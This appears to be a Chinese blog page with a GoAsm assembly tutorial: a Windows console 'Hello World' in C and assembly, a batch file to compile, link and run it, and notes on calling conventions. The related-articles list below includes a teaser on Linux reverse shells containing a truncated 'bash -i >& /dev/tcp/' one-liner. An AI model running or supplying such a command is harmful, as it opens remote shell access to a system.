试了下GoAsm
在VC里我们:
#include <windows.h>
DWORD dwNumberOfBytesWritten;
int main() {
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
WriteFile(hStdOut, "Hello World (from GoAsm)", 24, &dwNumberOfBytesWritten, 0);
return dwNumberOfBytesWritten;
}
某个Windows的头文件里(1. 示意。2. windows.h包含别的头文件):
typedef unsigned int32 DWORD;
#define STD_OUTPUT_HANDLE DWORD(-10) /* 0xfffffff6 */
HANDLE WINAPI GetStdHandle(DWORD nStdHandle);
typedef const void* LPCVOID;
typedef DWORD* LPDWORD;
BOOL WINAPI WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 新建文本文件2.asm,贴入如下内容:
.DATA
dwnumberofbyteswritten dd 0
lpBuffer db 'Hello world (from goasm)', 0ah
.CODE
START:
push -11
call GetStdHandle ; get hStdOut in eax
push 0, addr dwnumberofbyteswritten ; lpOverlapped, &dwNumberOfBytesWritten
push 25, addr lpBuffer ; nNumberOfBytesToWrite, lpBuffer
push eax ; hStdOut
call WriteFile
mov eax, [dwnumberofbyteswritten]
ret 再新建文本文件clr.bat (Compile-Link-Run),贴入:
@ECHO OFF
IF "%~n1" == "" (EXIT/B 1)
SET f=%~n1
GoAsm /l %f%.asm
IF ERRORLEVEL 1 (EXIT/B 2)
GoLink /console /debug dbg %f%.obj kernel32.dll user32.dll
IF ERRORLEVEL 1 (EXIT/B 3)
%f%.exe Hello world (from GoAsm)
ECHO %ERRORLEVEL% 最后clr 2或clr 2.asm,输出:
GoAsm.Exe Version 0.61.0.1 - Copyright Jeremy Gordon 2001-2017 - JG@JGnet.co.uk
Output file: 2.obj
Output file: 2.lst GoLink.Exe Version 1.0.3.1 Copyright Jeremy Gordon 2002-2020 info@goprog.com
Output file: 2.exe
Format: Win32 Size: 2,560 bytes
Output file: exe\2.dbg
Format: Win32 Size: 395 bytes
Hello world (from goasm)
25 Calling convention. stdcall、cdecl 和pascal简介
被调用者将参数从栈中清除的好处是:想象下有99处调用它,是99处加pop好,还是一处pop好?也省不了多少地方。
C语言支持可变参数数量。被调用者可能接收2个参数,也可能接收4个,堆栈如何pop? 不过我觉得可变参数数量和调用者清栈
没有100%的相关度:多传一个参数表示SP要挪多少不行吗? LPCVOID的L代表Long,16位时代的遗物,还有叫far的,表示指针是20位还是16位。 函数的返回值在eax里。 CALL/? IF/? EXIT/? 可看到批处理的帮助。

写了个MessageBox(命令行),兴冲冲贴上来,又发现5次里有1次MessageBox出来后,程序不动了。一生气删掉了。痛定思痛,可能是没指定堆栈大小(默认64KB). search(golink stack size)。还有折腾了半天argc, argv, envp后才想起来我们是调用main()的啊。GetCommandLine(). 哦还有search(goasm USES),USES EDI等插入push和pop edi指令。
试了下GoAsm的更多相关文章
- 试了下阿里云的OPEN Api
逐渐理解open api的意义,试了下阿里云的续费接口,续费一个月 package com.test; /** * @author * @date 2018/12/05 */ import com.a ...
- 屏幕測试亮点,新买了一个显示器,使用web简单的測试下了亮点
1,购买了一个新的显示器 趁着双11的时候价格廉价.入手了一个显示器. http://serve.netsh.org/pub/dead_pixel.bin 滚动下就能够换颜色了.把chrome最大化, ...
- 曹工改bug:centos下,mongodb开机不能自启动,systemctl、rc.local都试了,还是不行,要不要放弃?
问题背景 最近装个centos 7.6的环境,其中,基础环境包括,redis.nginx.mongodb.fastdfs.mysql等,其中,自启动使用的是systemctl,其他几个组件,都没啥问题 ...
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- iOS下Audio自动播放(Autoplay)音乐
前几天做了一个H5活动页面,产品要求初始化播放音乐,因晓得H5 Audio标签支持Autoplay就没在意. 完了在手机上测试,发现手机上打开页面死活就是不会自动播放,点击播放按钮才可以播放,很是纠结 ...
- 一次ie8模式下click无反应的小事
想起了小学时候数不尽的一件小事,哎,那夕阳下的奔跑,是我逝去的青春啊. 言归正传,先上图: <select id="cardNoList" size="4" ...
- 使用Windbg在XP下Heap追踪失败的原因
1.故事背景 最近同事的代码中碰到一个bug会导致奔溃的bug,从dump上看是由于某个对象的堆内存指针被释放了,但代码仍调用了该对象指针的虚函数,从而引起内存访问违法崩溃,由于该类被大量使 ...
- linux下使用多线程编写的聊天室
自从开始学linux网络编程后就想写个聊天室,一开始原本打算用多进程的方式来写,可是发觉进程间的通信有点麻烦,而且开销也大,后来想用多线程能不能实现呢,于是便去看了一下linux里线程的用法,实际上只 ...
- myql数据库在cmd下,中文乱码的问题原因
使用navicat把数据导入数据库,这些数据都是中文,导入成功,显式也正常,但是在mysql cmd下都是乱码.检查了我的mysql配置,字符编码都是utf8,包括navicat连接时候也设置过是ut ...
随机推荐
- Shadertoy 教程 Part 5 - 运用SDF绘制出更多的2D图形
Note: This series blog was translated from Nathan Vaughn's Shaders Language Tutorial and has been au ...
- jquery 实现 <imput>标签 密码框显示/隐藏密码功能
1 <!doctype html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 < ...
- Redis Stream类型的使用
一.背景 最近在看redis这方面的知识,发现在redis5中产生了一种新的数据类型Stream,它和kafka的设计有些类似,可以当作一个简单的消息队列来使用. 二.redis中Stream类型的特 ...
- 数据代理Object.defineProperty()
数据代理: 通过一个对象代理对另一个对象中属性的操作(读/写) 数据代理 Object.defineProperty() Object.defineProperty() 方法会直接在一个对象上定义一个 ...
- PTA 7-2 畅通工程之局部最小花费问题 (35分)
PTA 7-2 畅通工程之局部最小花费问题 (35分) 某地区经过对城镇交通状况的调查,得到现有城镇间快速道路的统计数据,并提出"畅通工程"的目标:使整个地区任何两个城镇间都可以实 ...
- js 实现匀速移动
js 实现匀速移动 <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...
- 多层pcb线路板的制作流程
PCB制作第一步是整理并检查pcb多层线路板布局(Layout).电路板制作工厂收到PCB设计公司的CAD文件,由于每个CAD软件都有自己独特的文件格式,所以深圳PCB板厂会转化为一个统一的格式Ger ...
- 【ASP.NET Core】体验一下 Mini Web API
在上一篇水文中,老周给大伙伴们简单演示了通过 Socket 编程的方式控制 MPD (在树莓派上).按照计划,老周还想给大伙伴们演示一下使用 Web API 来封装对 MPD 控制.思路很 Easy, ...
- 菜鸡的Java笔记第三 - java 自动转换原则
自动转换原则 数据范围保存大的数据类型要转换为数据范围保存小的数据类型,使用强制转换(强制转型就是在变量的前面加括号,在括号里写上需要强制要转的类型.) 数据范围保存小的数据类型可以自动转换为数据范围 ...
- 接上篇:Git Worktree 高级使用,这样清爽多了
前言 上一篇文章 Git Worktree 大法真香 带大家了解了 git worktree 是如何帮助我同时在多个分支工作,并且互不影响的.但是创建 worktree 的目录位置不是在当前项目下,总 ...